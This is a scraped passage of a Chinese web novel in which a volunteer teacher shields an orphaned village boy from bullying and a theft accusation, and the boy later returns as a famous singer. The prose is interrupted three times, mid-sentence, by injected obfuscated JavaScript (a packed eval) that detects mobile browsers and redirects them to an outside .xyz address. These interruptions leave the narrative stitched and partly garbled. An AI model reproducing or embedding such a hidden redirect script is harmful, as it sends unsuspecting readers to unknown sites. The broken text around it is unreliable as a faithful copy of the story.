他只觉得那截手臂白得晃眼,就算落了粉笔灰,看着也像撒了层糖霜。 他听到同学们喊她“姜老师好”,他默默在心里也喊了一句。 “狗蛋来啦!” 坐在后门的李才突然喊他小名,他慌忙蹲下身子。 他的膝盖撞在堆着柴火的墙角,直疼得呲牙咧嘴。 他听到布鞋踩过碎石子的声响,但不敢抬头,只是任凭指甲缝里的泥垢硌进掌心。 “小孩,你在这干嘛呢?”姜雪的声音轻得像片羽毛,却让颜念潮浑身绷紧。 他盯着她洁白的鞋尖,汗珠顺着脊柱往下淌。 姜雪朝他伸出右手,“你是想听课吗?进来吧。” 他手腕动了动,还是不敢去牵她的手。 姜雪干脆拽住他手腕,将整个人拉了起来。 他当时还没发育,再加上长期营养不良,身高和她差不多。 他被按在最后一排的空位上,木凳腿擦过地面发出刺耳的声音。 “今天我们来了个新同学”,姜雪回到讲台,用黑板擦擦去上节课的板书。 教室里响起此起彼伏的讨论声,颜念潮盯着课本上密密麻麻的铅字,听见李才嫌弃的声音,“脏死了!” 颜念潮的后槽牙正咬得发酸,姜雪却突然走下讲台,拿着黑板擦站在李才旁边。 她用黑板擦在自己身上拍了几下,任凭衣服和手臂全是粉笔灰。 她问李才,“现在老师比这个小朋友还脏,是不是老师也得出去?” 班里顿时安静下来。 放学后,颜念潮得去后山捡柴,竹篓压得他肩膀发麻。 路过水塘时,他看见城里来的一群大学生正蹲在岸边写生。 她们嬉笑的声音被山风卷着,碎成片段飘进他耳朵里。 什么“油画颜料”,什么“画室”,每个词语都是他从未闻过的。 他低着头沿着水边走,最后在河边放下竹篓。 爷爷的哮喘药瓶空了三天,卫生所的护士说再不交钱就要停药。 他卷起裤腿,打算试试运气—— 就算抓不到大鱼卖钱,只要有点螺丝带回家里,也能给爷爷换点口味。 他趟水走了一段,河水已经没过腰线。 他在水里扑腾了几趟,毫无收获。 他寻思着是不是应该换个地方,挪了几步却陷进了淤泥。 “你不要命了?!” 身后传来姜雪的声音,他回头,但脚下打滑摔到了更深的水里。 她一把扯住他后衣领,把人拉起来。 颜念潮挣扎时摸到她手腕,细得像根芦苇杆,却硬得像块生铁。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627010|172420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她把他拖上岸时衣服全湿透了,贴在腰线上能看见白色内衣的轮廓。 他慌忙别过头,看见对岸的稻草人正歪着脑袋看他。 姜雪的宿舍离河边不远,她带了颜念潮回去。 她换了一身干净衣服,烧好水,给他递来一块叠得方方正正的毛巾,“先洗把脸。” 他不接,她便直接用毛巾盖住他眼睛。 他的睫毛被布料带起了一阵刺痒。 他只好胡乱抹了把脸,水珠顺着下巴滴在起球的领口,在汗渍上洇出深色斑点。 “停”,姜雪攥住他手腕,“耳朵后面,鼻翼两侧,还有下巴。都洗干净了没?” 她重新浸湿毛巾,手指扶着他下巴往上抬,温水顺着他脖子往下淌,滑进领口时激得他起了一层鸡皮疙瘩。 他僵着脖子不敢动,听见自己心脏跳得很快。 “闭眼”,姜雪的拇指蹭过他眼角,把黑泥搓成细条扔掉。 “手指伸出来。” 他连忙把手往身后藏,却被她拽着摁进水里。 淤泥在清水里散开,像团化不开的墨。 “指甲缝要抠着洗”,她掰开他蜷曲的指节,看见指甲盖上的月牙白被泥垢盖得严实。 颜念潮感觉耳朵在发烫,比上次被李才按在泥坑里还要慌。 姜雪拿了把牙刷,轻轻刮他指甲缝,碎泥簌簌掉进盆底。 “自己来”,她把牙刷塞进他手里。 颜念潮学着她的样子抠指甲,水珠顺着手往下淌,在桌面上积成小小的水洼。 他盯着盆底沉淀的泥沙,突然发现自己的手指头白得吓人,像从来没沾过泥似的。 她赞赏地点点头,“我们要爱干净,知道吗?你慢慢长大了,衣服也要勤点换,要不容易生病的。” 正说着话,宿舍门被人用力踹开。 乡村教师老陈拿着旱烟袋冲进来,烟锅里的火星子溅到颜念潮胳膊上,烫出个红点。 “姜老师好大的本事,什么人都往教师宿舍带!”老陈的烟杆子几乎戳到他的鼻尖,“这种野崽子读不了书就别管了,出了校门还不是要进厂子拧螺丝?你护着他,他爷爷的医药费你出啊?” 姜雪把颜念潮护在身后,他能感觉到她后背绷得像张拉满的弓。 她的声音冷下来,“陈老师,您当了一辈子老师,能说出这种话?” 老陈的旱烟袋“啪”地摔在地上,烟丝撒得到处都是。 他指着姜雪的鼻子骂得唾沫横飞,什么“伤风败俗”“败坏师德”都出了口,最后还扬言着要告到她支教带队老师那里。 姜雪弯腰捡起地上的烟袋,拍干净灰后塞回他手里:“这支教的学分我要不要无所谓,但是您要是再敢踹我的门,派出所也好,村委会也好,我明天就去告您侮辱未成年人。” 那天晚上,颜念潮坐在折叠床上,听着外屋砂锅盖的响声。 姜雪推门进来,端了碗红糖鸡蛋,甜腻的香气在潮湿的空气里散开。 她把碗塞进他手里,“趁热喝啊。” 颜念潮盯着碗里晃动的蛋黄,发现她手腕上有道新鲜的伤痕。 “被猫抓的”,她不自然地缩回手,“夜里总有野猫翻垃圾堆。” 可颜念潮知道,那是刚才老陈推搡他时,她护着他撞在门框上留下的。 半个月后,她还拿了个信封来找他,里面是一沓各种各样的证明。 “我都帮你开好了,也和校长商量好,你回来学校读书吧,有国家助学金和免学费政策”,她说话时眼睛亮晶晶的,像藏了星星。 她又塞了一个信封到他手里,“你每天放学后帮我改低年级作业,周末去食堂帮厨,这些钱就当是你预支的工资。” 颜念潮攥着那些信封,感觉有团火在胸腔里烧。 他张了张嘴,憋出了四个字,“谢谢……姐姐……” 姜雪伸手揉了揉他头发,“好好读书,等你有出息了,记得回来给村里修个学校。” 5. 第 5 章 颜念潮坐在教室中间,他盯着课本,草稿纸上却写下了“姜雪”两个字。 不知道什么时候,讲台上的声音停了,他抬头,姜雪已经走了下来。 “小潮,这道题你来解”,她的指尖敲在他桌角,眼睛弯弯的。 颜念潮慌忙盖好草稿纸,蹭地一下站起来。 嗤笑从后排传来,班里最捣蛋的颜骏一脚踢在他凳子腿上,他攥紧手中的笔没有回头。 “野种还来上学?不怕交不起学费啊?”颜骏的声音压得低,却足够让前排同学扭头。 姜雪也听见了。 她把粉笔掰成两截,半截砸在颜骏课桌上:“颜骏同学,你来说说这道题该用什么公式?” 她说话时,眼睛盯着颜骏的数学卷子,上面红叉连成一片。 颜骏是村干部的儿子,仗着有家里撑腰,当即就要怼回去。 姜雪的声音却陡然拔高,“不会就闭嘴听!” 她说完就走,根本不给他开口的机会。 只是她没有想到,命运的裂缝已经悄然落下一粒荆棘的种子。当它在颜骏的胸腔扎根时,一切都将化作孕育仇恨的温床。 三天后的放学时间,颜念潮独自背着书包往家里走。 颜骏那伙人总在学校门口堵他,今天却安静得反常。 直到路过晒谷场时,他听到了颜骏的尖叫,“抓小偷啊!” 颜念潮很茫然地停下脚步,看到他爹的拖拉机横在路中间。 村干部叼着烟斗从驾驶座跳下来,烟圈喷在他脸上:“小兔崽子,敢偷到老子头上!” 颜念潮被呛得咳嗽,“我不知道你在说些什么。” “还装蒜?”颜骏指着颜念潮的书包夹层,“那里鼓鼓的是什么?打开看看!” “凭什么?”颜念潮只觉得莫名其妙,转身想走。 颜骏一个箭步上前,用力去扯颜念潮的书包。 颜念潮看着书包带边缘正顺着纹路崩裂,他触电般松开手——那是回学校的前一个晚上,姜雪一针一线修补过的成果。 颜骏哼了一声,从包里翻出一沓钱。 他沾着口水数了一下,足足一千块钱。 他装腔作势地检查了正反面,递给父亲,“这是你们给我的零花钱,每一张我都用红笔做了标记。” 巴掌顿时扇了过来,铁锈味在颜念潮嘴巴里漫开。 围观的村民指指点点,有人踩着泥水往学校方向跑。 姜雪知道事情的时候,颜念潮已经被警车带走了。 天空开始下雨,她背上挎包,胡乱批了雨衣就冲了出去。 派出所的水泥地泛着潮气,墙角剥落的漆皮下积着几滩泥水。 颜念潮蜷在长椅上,校服领子歪斜地贴在脖颈间。 他已经和警察解释过很多遍自己没有偷钱,但农村地方没有监控,颜骏又一口咬定是颜念潮所为,事情陷入了僵局。 外头雨越下越大,铁门被人撞开,一股冷风钻了进来。 姜雪脱掉雨衣,发梢还在往下滴水,牛仔裤膝盖以下全是泥浆,左脚运动鞋后跟更是开了胶。 她抹了把脸上的雨水,径直走到值班台前掏出身份证:“我是颜念潮的老师。” “学生偷窃属于情节轻微,但失主坚持要立案”,警察翻着笔录抬头,“这孩子说书包里多出来的一千块不是他拿的,可颜主任儿子的证词……” 姜雪掏出手机,调出转账记录:“两个月前我给颜念潮充了五百块饭卡,现在还剩两百块。这孩子每天都是青菜白饭和几片肉,平均每顿饭就是三块钱。如果要偷钱,他那么省吃俭用做什么?” 她瞄到颜念潮的书包在角落里,一把拽过,哗啦倒出里面的东西。 半块硬馒头滚了出来,铅笔头、草稿纸、用报纸包着的咸菜团子散了一桌。 “他偷钱买什么?买这个?”她从外套内袋掏出皱巴巴的收据,“这是我刚给他交的资料费。” 民警用两根手指拈起湿透的纸片。 姜雪往前逼近半步,湿头发黏在煞白的脸上:“颜骏他爸是村里的办公室主任,您要不问问他,怎么精准定位带你们找到‘盗窃现场’的?还有我申请查验指纹,看看纸币上有没有颜念潮的痕迹。现在是法治社会,什么都讲证据,人证、物证,需得一样一样摆出来。” 趁着警察起身去隔壁打电话,姜雪问颜念潮,“你好好回忆一下,这几天你有没有发现颜骏的异常,比如往你书包塞钱之类的?” 颜念潮看到姜雪垂在身侧的手在抖,那只替他洗过脸的手,现在指甲缝里全是黑泥。 他心中的酸涩已然大大盖过了委屈。 他摇摇头,声音沙哑:“姐,你别管了……” 窗外暴雨转成淅沥小雨,派车所后院拴着的狼狗狂吠起来。 “小潮”,姜雪唤了他一声。 他抬头,对上她的眼神。 她的声音柔柔的,语气却很肯定,“姐姐知道,你不会干这种事。” 半个小时后,颜骏家的丰田越野碾过水坑冲进院子,村干部裹着酒气闯进来,后头跟着眼神躲闪的颜骏。 “误会!绝对是误会!”男人的巴掌拍在登记台的出警记录上,“我们家颜骏就是跟同学开个玩笑……” 姜雪踉跄着走过去。 她从挎包里抽出一本练习册塞到村干部怀里:“颜骏前天交上来的数学作业,和颜念潮被撕毁的作业本一模一样,只是名字处被人涂改了。这些玩笑一点都不好笑,究竟谁才是受害者?” 村干部的笑脸凝固了,颜骏突然转身往外跑,踩翻了门口的铁皮簸箕。 姜雪再见到颜骏,已经是两天之后的事情。 他吊儿郎当地晃进教室,左脸还留着巴掌印,是他爹今早刚抽过的。 姜雪敲敲颜骏的桌子,示意他出来。 颜骏懒洋洋地跟着她去办公室,眼皮子抬也不抬。 姜雪一开始还很有耐心,给他说中学生守则,又科普法律知识,后面见他一句不哼,她声音大了一点,“颜骏,你都听进去了吗?” 颜骏的喉结上下滚动,突然扯着嘴角笑:“姜老师这么护着野种,该不会真像他们说的……” 他故意拖长尾音,眼珠子往她领口瞟,“城里来的女学生,来咱这穷山沟找刺激?” “你?!”姜雪的指甲深深掐进掌心,不敢相信这种话竟然出自一个高一学生的嘴巴。 她呼吸急促起来,“现在道歉,我当没听过这话。” 颜骏踹翻椅子,铁腿撞在水泥地上发出巨响。 他撞开姜雪冲了出去,走廊里传来他边跑边喊的声音:“装什么清高!等着瞧!” 三天后的体育课,姜雪正在办公室批改作业,作文题目是《我的梦想》。 她刚改到一篇写要考上大学改变命运的,李才就一溜烟跑了过来。 他上气不接下气地,“姜老师,狗蛋……颜念潮打颜骏了……我们都拉不开……” 姜雪一惊,手中的红笔在作文本上留下一道弧线。 足球场边围了不少学生,他们看到姜雪过来,很自觉地散开条缝。 姜雪挤进人堆时,就看见颜念潮正把高了他一个头的颜骏按在泥地里。 他的校服后背蹭满灰土,右手还攥着半截断砖。 颜骏的鼻血糊了满脸,左脸肿得老高,却还在挥舞胳膊:“你他妈再动我试试!” “松开!” 姜雪扑过去拽颜念潮,摸到他胳膊上的肌肉绷得像铁块。 颜骏趁机翻身滚开,捂着肚子边骂边往器材室跑。 颜念潮垂着头往后退,后背抵上铁丝网,发出咣当响动。 姜雪瞥见他右手虎口裂开的血口子,气不打一处来,“你疯了?打架要开除的!” 男孩突然抬头瞪她,发红的眼眶蓄着半汪水光,睫毛扑簌簌地抖。 姜雪伸手碰他,他却猛地甩开她,“开除就开除,用不着你管!” 他扭头冲出人群,一直往校门口方向跑。 前几天走山路的脚伤还没有好彻底,姜雪追了一段,实在追不上,只好先折回班里。 她把李才叫去办公室,询问刚才究竟发生了什么事。 李才支支吾吾地,半天才说实话,“是颜骏在班里说您……说姜老师是破鞋……说狗蛋是您养的小白脸……” 李才说着说着,哭了出来,“他们往狗蛋抽屉里塞避孕套,他们还赌钱!赌您什么时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627011|172420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回城里!赌他什么时候被开除!” —————————— 雨水顺着姜雪的马尾辫往下淌。 运动鞋陷进泥坑的瞬间,她再度听见脚踝发出轻微的脆响。 她顾不得疼,抹了把糊住眼睛的雨水,又继续往前走。 她走过废弃的化肥厂、村口的老槐树、堆满玉米秆的打谷场,甚至连养鹅的棚子都找了,可始终没看到那个总爱缩着肩膀走路的身影。 她有些精疲力尽了,但又不甘心就此回宿舍,便又挪到了学校。 她突然想起后山还有一处文/革时期留下的危楼。 那排教室在半山腰,听学校老师说已经被划成禁区。那儿的铁门缠满爬山虎,连村里的野狗都绕着走。 她鬼使神差地往那边跑,手电筒扫过结满蛛网的教室窗框。 其中一间教室的门虚掩着,她尝试推开,果然看见颜念潮蜷在讲台后面。 他整个人裹在褪色的校服里,膝盖抵着胸口,像要把自己折成纸片。 她松了口气,朝他招招手:“小潮,出来,这里危险。” 少年不动,也不说话,就这样头继续低着。 姜雪在他身旁蹲下,好声好气地劝,“雨下这么大,你看啊,这里的房屋都在漏水,我们出去再说好不好?” 颜念潮指尖动了动,哑着声音蹦出话,“你管我死活,反正我是野种!是狗!是……” “对不起!”姜雪突如其来的道歉,打断了他剩下的话。 颜念潮的瞳孔猛地收缩。 “我说,对不起”,姜雪撑着地往前挪了半步,膝盖在青苔上打滑,“我下午不该不分青红皂白地骂你。” “谁要你道歉!” 他从牙缝里甩出这句话,喉头却像被塞了团浸水的棉花。 他的声音在发抖,连带着整具身体都在颤。 不是愤怒,是慌乱。 他怕她看见自己眼底的泪光,更怕她下一秒就露出“果然如此”的怜悯表情。 可姜雪跪坐在破旧地板上的姿势没变。 她的衣服在来找他的路上都湿了,却仍固执地朝他伸手:“十二岁那年,我被同学关在器材室,后来我班主任找到我时,她第一句话也是‘对不起’。所以,我懂你。” 从小到大,颜念潮听过无数次咒骂和冷笑,却从未听过有人对他说“我懂你”。 他的心理防线瞬间崩溃。 “他们……他们凭什么……”破碎的质问混着剧烈的喘息,他的尾音陡然拔高成尖利的颤音。 他用后脑勺重重撞向墙壁,仿佛感觉不到疼。 姜雪连忙用手垫住他的后脑,另外一边手扶住他发抖的肩膀。 压抑的呜咽变成撕心裂肺的嚎哭。 他哭到剧烈咳嗽时仍死死咬住下唇,直到血腥味在口腔蔓延。 最剧烈的爆发过后,他的抽噎变成断断续续的呛咳。 最后,他瘫坐在地上仰起头,喉结随着吞咽动作不停颤动,肿胀的眼皮让原本清亮的眼睛眯成细缝。 “抬头”,姜雪抽了张干净纸巾,小心翼翼地按在他眼窝,温热的液体渗进纸纤维。 颜念潮抽着鼻子往后缩,被她揪住衣领拽回来。 她看到他带着淤青的额角沾了泥点,很自然地帮他拂掉。 怕他疼,又吹了吹。 少年耳尖瞬间涨红。 昏暗之间,她没留意那么多,只是缓缓对他说,“我妈妈是语文老师,从小我跟着她听了很多诗,唐朝有个诗人叫钱珝,他写了《江行无题一百首》,你听过吗?” 那天晚上,姜雪背的诗很长,以至于颜念潮后面想起时,早就记不清全诗脉络了。 但是,他牢牢记住了其中两句,“莫愁千里路,自有到来风”。 那时的姜雪,举起手电筒,银白的光束斜斜切开黑暗。 漏雨的校舍里,这束光便成了混沌天地间唯一的坐标。 “就像春天到了花一定会开,该来的好风会推着你往前走”,她朝着他温柔地笑笑,光晕在她面庞流转,投下睫毛交织的细密栅影。 她并不知道,这个画面会被他装裱成卷,在他的每个辗转难眠的夜晚里,徐徐展开。 6. 第 6 章 雨后的山路泥泞难行,空气里弥漫着湿漉漉的青草和泥土气息。 姜雪深一脚浅一脚地走着,心里却不像脚下的路那般沉重。 校长办公室里那场算不上激烈却暗流汹涌的交锋,最终以她的胜利告一段落。 “潭校长,颜念潮的事情,我希望您能再考虑一下。他打人确实不对,但他为什么打人?” 姜雪站在办公桌前,声音不大,却很坚定,“颜骏在学校里散播关于我的谣言,不堪入耳。不仅如此,他还聚众赌钱,这些事情,学校管吗?” 潭嗣明已经在穷困山区坚守了半辈子,他脸上的皱纹深刻得像山里的岩石。 他沉默地听着,手指在磨得发亮的旧桌面上轻轻敲击。 他很清楚村干部的压力,颜骏的父亲在村里颇有势力,不止一次暗示要“照顾”自己的儿子。 但是,他看着眼前这个年纪轻轻却一身正气的女学生,看着她眼里的光,那是对公平和教育最纯粹的执着。 “谣言止于智者,但更要止于惩处”,潭嗣明终于开口,声音带着久经风霜的沙哑,“赌钱更是校规所不容。我会调查清楚。至于颜念潮……” 他顿了顿,目光锐利地扫过姜雪,“他有错,但情有可原。准许他明天回校上课,但你也告诉他,再有下次,谁都保不住他。” 姜雪紧绷的心弦终于松弛下来。她深深鞠了一躬:“谢谢校长!” 她几乎是雀跃着奔向颜念潮家的方向。 雨已经停了,阳光试图穿透厚重的云层,在山间投下斑驳的光影。 但是,当姜雪推开颜念潮家那扇虚掩的老旧木门时,并未见到他人,取而代之的是一种窒息的寂静。 她看到屋子中央停放着一副简陋的棺木,几个邻居神色凝重地在帮忙,空气中飘散着纸钱燃烧的味道。 不祥的预感涌上心头。 她拉住一个相熟的大婶,“这是怎么了?” 大婶叹了口气,眼圈泛红:“小潮的爷爷昨天下午去帮隔壁村修屋顶,脚手架没搭稳摔下来,人当场就没了。” 姜雪脑袋嗡的一声,整个人僵在原地——那个总是笑呵呵地递给她自家种的瓜果、叮嘱她山路小心的老人,那个颜念潮在这世上唯一的亲人……就这么没了? 她半晌才回过神来:“那小潮呢?” “他爷爷走了之后,这孩子就一直把自己关在屋里,谁也不见,饭也不吃”,大婶叹息着摇头,“你快去劝劝他吧。” 姜雪推开房门,屋内昏暗潮湿,颜念潮肩膀瘦削,一动不动坐在床上,像一尊被遗弃的石像。 他脸上没有什么表情,只有一种近乎麻木的空洞。 她走过去,千言万语堵在喉咙口,最终只化作一句哽咽的:“小潮……” 颜念潮缓缓抬头,眼睛里布满血丝,却干涩得没有一滴眼泪。 他看着姜雪,嘴唇动了动,似乎想说什么,却发不出任何声音。 姜雪的心像被一只无形的手紧紧攥住,疼得厉害。 她伸出手,轻轻放在他冰凉的手背上:“小潮,别怕,有姐姐在。” 那一晚,姜雪没有回宿舍。她留在颜念潮的家里,和邻居一起帮着颜念潮处理后事。 夜深人静的时候,最后一批帮忙的乡亲也走了,屋子里只剩下他们两人,还有那副冰冷的棺木。 瓦数不够的日光灯在四壁摇曳,映着颜念潮苍白而茫然的脸。 姜雪给他端来一碗温水:“喝点水吧。” 颜念潮没有接,只是低低地说:“姐姐,你回去吧。” “我不走”,姜雪坐到他对面的小板凳上,“我陪着你。” 沉默在空气中蔓延。 许久,颜念潮的声音再次响起,带着一种与年龄不符的沧桑:“你知道吗?我不是爷爷的亲孙子。” “我是爷爷在河边捡到的”,他的声音很轻,像在述说一个遥远的故事,“那年发大水,潮水退去后,我就在一个破木盆里,被冲到了岸边。爷爷说,是老天爷念着这条命,随着潮水送来的,所以给我取名叫念潮。” 他的目光投向黑暗的角落,仿佛能看到十五年前那个被遗弃的婴儿,“我没有父母,只有爷爷。现在……爷爷也没了。” 姜雪坐过去,像那天在废弃教室里一样,轻轻抱住了他颤抖的肩膀。 这一次,他没有推开她,而是将头埋在她单薄的肩窝里,压抑了许久的哭声终于释放出来。 他就像一只受伤的小兽,呜咽着,绝望着。 爷爷的后事处理完,生活还得继续。 摆在眼前最现实的问题,是颜念潮的生存。 姜雪想到了申请儿童福利证,也就是俗称的孤儿证。有了这个证,他至少能得到政府的基本补助,上学的费用也能进一步减免。 然而,事情远比她想象的复杂。 村委会办公室里,村干部冷冷地看着姜雪,语气不善:“姜老师,不是我不给你开证明,实在是颜念潮的情况特殊,他爷爷当年捡他回来时根本没办过正规手续,现在你让我怎么证明他是孤儿?” 姜雪耐着性子解释:“颜主任,小潮现在确实无依无靠,您只要开个证明,后续的手续我会去省城办理。” 村干部笑了一声:“姜老师,你是大学生,懂得多,可我们村里有村里的规矩。再说了,颜念潮那小子打了我儿子,我凭什么帮他?” 姜雪强忍着怒火:“颜主任,您身为村干部,难道不该公事公办吗?” “行了行了”,村干部摆摆手,语气强硬:“别说了,这事儿没得商量。” 姜雪气得浑身发抖,却又无可奈何。她只是一个外来的支教学生,人微言轻,根本无法撼动这盘根错节的乡村人情和权力网络。 接下来的几天,姜雪趁着没课的时间赶往省城,奔波于民政局、公证处和福利院之间。 她翻阅了大量资料,咨询了无数工作人员,终于找到了一条可行的途径——只要她自掏腰包,做一份详细的公证材料,证明颜念潮的实际情况,就有可能申请到孤儿证。 这天清晨,姜雪再次匆匆离开学校,踏上了前往省城的班车。 颜念潮这几天一直注意到姜雪的异常,她总是早出晚归,神色疲惫却从不告诉他原因。 他心里隐隐不安,终于忍不住偷偷跟了上去。 省城的街道繁华而陌生,颜念潮小心翼翼地跟着姜雪,生怕被她发现。 他看着她穿梭在陌生的街道,走进一栋挂着“公证处”牌子的大楼。 他犹豫了一下,也跟了进去。 大厅里人不多,他躲在一根柱子后面,看到姜雪在一个窗口前,正和一个工作人员说着什么,递过去一沓材料和钱。 他听不清她们的对话,但隐约捕捉到“亲属关系”“证明”等字眼。 他看到工作人员数着姜雪递过去的钱,厚厚的一叠,然后盖章、签字。 颜念潮愣在原地。 他认得那种钱,是最大面额的红色钞票,足足有十几张! 他知道姜雪家境并不富裕,这一千多块钱对她来说,绝对不是小数目。 就在这时,姜雪办完事转过身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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十年过去,她似乎变了,眉宇间多了几分以前没有的疲惫和疏离,但开口说话时,眼底那份温和与认真,又和记忆中的她渐渐重合。 只是,她大概早就忘了他,也完全认不出眼前这个叫烬野的顶流歌手,就是当年那个沉默寡言的少年。 录制结束,工作人员开始收拾器材,吴若妍碰了碰烬野,声音甜腻:“今天辛苦啦,收工了想吃点什么?我知道附近有家特别棒的日料。” “不饿,你自己去吧”,烬野淡淡地回了句。 他看了眼还在讲台上和学生道别的姜雪,径直朝教室外走去。 他今天自己开了车,是一辆不起眼的黑色越野。 他没有马上离开,而是将车开到学校侧门一个相对僻静的位置。 两个小时后,他看到姜雪和几个同事说笑着从教学楼里走出来。同事们陆续离开,她独自一人走向公交站。 他发动车子,缓缓到她身边停下,探出头叫了她一声:“姜老师。” 姜雪闻声转过头,看到是他,有些意外,但还是礼貌地问:“烬野先生,有事吗?” “今天课堂上,我还有点问题想请教一下。”颜念潮说得一本正经,“这里不太方便,姜老师能不能上车说?” 姜雪看了看手机,这个时间快要放学了,校门口即将水泄不通。 她犹豫了一下,拉开车门坐了进去。 7. 第 7 章 车子平稳地驶离学校。 “姜老师”,烬野先开了口,“今天最后引用的那首诗,是特意选的?” 姜雪没想到他会问这个问题,老实道:“那诗我挺喜欢的,今天看同学们拍摄到后面有点蔫头耷脑,就想着拿来应个景。” 烬野感觉胸腔里那口气泄了半截。 这十年来,他把这句诗翻来覆去地嚼,她倒好,把它当成了应付差事的万金油。 他稳定了一下心绪,再度开口像是随口一提,“唐朝的诗歌啊,姜老师是历史老师,对唐朝的历史应该很了解吧?” 姜雪应道:“专业嘛,还算熟悉。” “我最近写了一首歌,是关于唐朝电视剧的ost,不知道您听过没?”烬野点着车载显示屏,歌曲《无字碑》在车厢内响起。 电视剧很热,歌曲更热,姜雪当然听过,但她一直没留意词作者。 她转过身子:“原来是您的手笔。” 烬野嘴角微不可察地扬了扬。 他趁着等红灯的空隙,从后排拿过一个平板,点开一个文档递给姜雪,“这是歌词,总觉得欠点什么。姜老师能不能帮我看看,评价一下?” 姜雪接过平板认真看了看,沉吟片刻,说:“这首歌以武则天的一生为背景,特别副歌这几句歌词,写出了她身居高位后的孤独,还有她对普通爱情的渴望与最终的遗憾,挺有画面感。” “不过……”她笑笑,把平板放好,“现在很多电视剧,都喜欢聚焦在她的私生活,您这个歌曲既然是为电视剧写的,不免要考虑到受众的喜好。但您来问我一个历史老师的看法,我会觉得,它在格局上可能还不够大气,女皇不会是怨妇。” 烬野听得很认真,连连点头:“我回去再好好琢磨,争取写一版更大气的歌词。” “不用不用”,姜雪连忙摆手:“我就是随便说说,您别当真。” 她见车子已经快到小区门口了,“您看是不是可以找个方便的地方放我下来?我该回家了。” “姜老师”,烬野叫住她,语气诚恳,“能不能加个微信?等我改好了歌词发给您看看。” 他不等姜雪拒绝,又说:“我高中都没念完,更别说上大学了。写出来的东西,有时候自己也拿不准,怕被人笑话。” 他这话说得示弱,姜雪看着他年轻却落寞的侧脸,想起支教山村里那些辍学的学生,心一下就软了。 况且顶流还能这么谦虚地请教,确实不容易。 她爽快地点开手机二维码,“行。” 她看到对方的微信名就是简单的“烬野”二字,头像全黑,墨块似的。 第二天一早,姜雪刚到办公室,就收到了烬野的微信消息。 他先发了一个音频文件,下面留言:【姜老师,这是我构思的一个小样,您再给点意见?】 姜雪很惊讶。 她以为昨晚的事,他会转头就忘了。没想到他真的连夜改了,还唱了出来。 她点开音频,虽然只是简单的哼唱和吉他伴奏,但新写的一段词确实比原版多了些历史的厚重感。 她给他回复了一个点赞的表情,【感觉很不一样。】 她想了想,又加了句,【您太客气了!】 烬野的信息回得很快,【谢谢老师鼓励。这是给您的试听版,我再完善一下,可能过段时间正式发布。】 姜雪放下手机。她对娱乐圈的认知,大多来自于郑乃宁的八卦,以及网络上那些真假难辨的爆料。 她觉得烬野虽然名气大,但既努力又平易近人,和她之前对娱乐圈的印象不太一样。 下午备完课,她习惯性地刷着手机浏览新闻。 因为真人秀录制的缘故,她偶尔也会搜搜相关信息。 结果,她看到娱乐热搜上挂着一个关于烬野的黑料话题,点进去一看,里面罗列了他的各种罪状。 【烬野对粉丝太高冷了,机场都不说话!】 【别人家爱豆都会收粉丝礼物,他倒好,连看都不看一眼!】 【装什么清高!不就是靠脸吃饭吗?】 下面跟了不少附和的评论,也有粉丝在努力辩解,但声音微弱。 姜雪皱了眉。 她想起烬野昨天虚心请教她的模样,还有那连夜修改歌词的认真劲儿,和这些帖子里描述的“高冷耍大牌”形象,对不上号。 她越想越觉得那些人骂得没道理,一时有些上头。 她登陆了自己的账号,在那个黑帖下面发了一条评论,【我觉得烬野不是高冷,可能只是性格内向。而且不收礼物也挺好的,学生哪有那么多钱?】 她的评论很快淹没在无数新评论里。 她又看到一条热门评论,【烬野就是看不起粉丝,不然为什么连个笑脸都吝啬?】 姜雪回复,【你怎么知道他看不起?说不定他只是不习惯在那么多人面前表达。将心比心,你也不能在几万个人面前一直笑啊!】 她的打字速度不快,措辞也很朴素,像是在跟学生讲道理。 很快,她的评论下面开始出现一些奇怪的回复。 【LS哪来的原始人?还在用“将心比心”这种词汇教育人?】 【2G网速穿越来的吧,姐妹,现在对线都用魔法打败魔法了】 【xswl,“学生哪有那么多钱”,阿姨你是不是对顶流的粉丝购买力有什么误解?】 【哈哈哈哈,这个维护的角度清奇】 【ylq的事,你认识他?你了解他?别硬洗了吧!】 姜雪一头雾水,【xswl、ylq都是什么意思?】 有人回复,【网瘾少女无语了!这阿姨连网络用语都不懂还来这装懂哦!】 姜雪气不过,回复:【我只是就事论事,你们为何如此没有礼貌?请尊重他人!】 评论区瞬间炸锅。 【笑死我了,“请尊重他人”,老师您好!】 【哈哈哈哈这位阿姨是不是语文老师啊,太正式了吧!】 【对线还用敬语的,我爷爷奶奶都不这么说话!】 姜雪有些恼火,又无奈地发现自己确实不懂这些网络用语,只好关掉页面不再理会。 与此同时,颜念潮的助理小林正拿着手机走进休息室。 他在监测网络舆情的时候,也看到了这个画风清奇的帖子。 “野哥,网上又有人黑你了”,他截了图给烬野,“这个帮你说话了,不过好像被群嘲了,说她土,哈哈。” 烬野刚结束一个杂志拍摄,正在卸妆。 他拿起手机,随意扫了一眼。 小林发过来的微博截图里,一个ID为【姜糖333】的用户,正在努力地和黑粉对线。 